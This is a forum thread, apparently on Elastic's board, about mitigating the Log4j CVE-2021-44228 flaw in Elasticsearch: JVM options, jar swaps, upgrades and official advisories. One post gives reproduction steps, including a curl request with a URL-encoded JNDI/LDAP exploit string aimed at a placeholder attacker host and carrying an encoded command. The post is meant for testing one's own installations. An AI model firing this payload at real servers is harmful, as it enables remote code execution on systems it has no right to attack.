Zero-day-exploit in log4j2 which is part of elasticsearch

[Mr_Paul (Paul)]

Hi,

Is there any way to validate before and after scenarios of setting JVM option?

Thanks

[C_Robert]

Hello,

about Elasticsearch 2 you wrote :
Elasticsearch 2 and earlier used a Log4j version that is not vulnerable to the newly discovered flaw. Please note that Elasticsearch 2 is not a supported version, and we always recommend updating to the latest release.

But at Restrict LDAP access via JNDI by rgoers · Pull Request #608 · apache/logging-log4j2 · GitHub
we can read that Log4j 1.x may be impacted if their configuration uses JNDI. However, the risk is much lower.

Can you confirm that Elasticsearch 2 is not impacted ?

[begin]

Thank you.
I recognized that all versions should consider addressing with one of these, although the risks are small and large.

[sandeepk-veritas (Sandeep Kulkarni)]

With 7.14.1 and log4j2 2.16.0 jars in place, one option that I tried today is remove x-pack-deprecation and try to see if we ES is able to startup or not.
Found that it does work but not sure whether that is a possible solution to use. @sandeepkanabar any comments on it?
I completely understand from your earlier reply that there might be a good reason for keeping the jar, but this is something we tried out.

[pmkathiria (Pankaj Kathiriya)]

As per Log4j – Apache Log4j Security Vulnerabilities , setting jvm property is not enough to mitigate the risk.

Would you please share your thoughts on that?

[sandeepkanabar]

@sandeepk-veritas - never a good idea to mix 3rd party applications (ES here) with the latest log4j jar instead of the one they ship with. Let's say I'm using your product but I don't use what you recommend and instead add some other jar to it. You never know what it might break in prod. This is very risky to do in PROD unless you've tested all the scenarios.

Btw, there's an excellent blog on this by @xeraa.

[gthomas0 (Geoff Thomas)]

Will there happen to be a version of this page for Windows Server versions?

Elasticsearch 5.0.0-5.6.10 and 6.0.0-6.3.2: Log4j CVE-2021-44228, CVE-2021-45046 remediation

Note — If you are not running Elasticsearch 5.0.0-5.6.10 or 6.0.0-6.3.2, these instructions do not apply. Please follow the guidance in the main announcement. Instructions for removing JndiLookup from the log4j-core JAR file​ These instructions only apply to users running Elasticsearch versions between 5.0.0 and 5.6.10 (inclusive) or between 6.0.0 and 6.3.2 (inclusive). These must not be used in other versions of Elasticsearch as there are safer, supported remediations (or no remediation is ne…

[mchechik (mic)]

Hey @orangejulius, I was able to get ES 5.3.0 to hit a local server emulating LDAP, though haven't gotten to a stage yet where any data is leaked. Nonetheless, it shows that a call to an external server is very possible, at least with the param's I'm using locally (see steps below). It's easy enough to re-create on other version of ES, so hope this is useful for others to test their installations.

Steps:

• Build and run the LDAP server from this repo
• Install Elasticsearch 5.3.0 (I'm using the official image via docker pull elasticsearch:5.3.0)
• Modify the log4j2.properties to catch more messages (e.g. rootLogger.level = debug)
• Hit some endpoint that triggers the logger. In my case, a simple invalid URL with a URL-encoded exploit string was sufficient (note the private-ip field that must be filled with whatever IP the LDAP server is running on) - curl localhost:9200/%24%7Bjndi%3Aldap%3A%2F%2Fprivate-ip-here%3A1389%2FBasic%2FCommand%dG91Y2ggL3RtcC9wd25lZAo%3D%7D

Result: You'll see the LDAP server confirm that it received a network request (Received request from <IP of the ES node>). There are likely other interesting results, I'll update this post if I find any.

Interesting questions/next steps:

• In which other versions does this happen?
• Is there an API call that gets logged (and thus exploitable) at the default log level of info?

[sandeepk-veritas (Sandeep Kulkarni)]

Thanks a lot. I appreciate the link to the blog, it clarifies a lot of doubts.

[begin]

I wanted this information.
Thank you, Announcement.

Elasticsearch mitigation summary matrix

[sandeepkanabar]

Hi Sandeep,

You can upgrade your ES to 7.16.2 which has latest log4j 2.17.0

Check the updated advisory.

[sandeepkanabar]

To all those worrying about log4j jars in vendor directory in Logstash et al, elastic has come out with a removal tool and an excellent article on Logstash - Logstash 5.0.0-6.8.20 and 7.0.0-7.16.0: Log4j CVE-2021-44228, CVE-2021-45046 remediation

[Shubhankar_Soni]

Any update on this?

[TimV (Tim Vernum)]

All updates are posted here: Apache Log4j2 Remote Code Execution (RCE) Vulnerability - CVE-2021-44228 - ESA-2021-31 - Security Announcements - Discuss the Elastic Stack

We do not recommend, nor support, directly modifying libraries within the Elasticsearch package. If you want to understand how to protect yourself from this issue, then please read and follow the official advisory.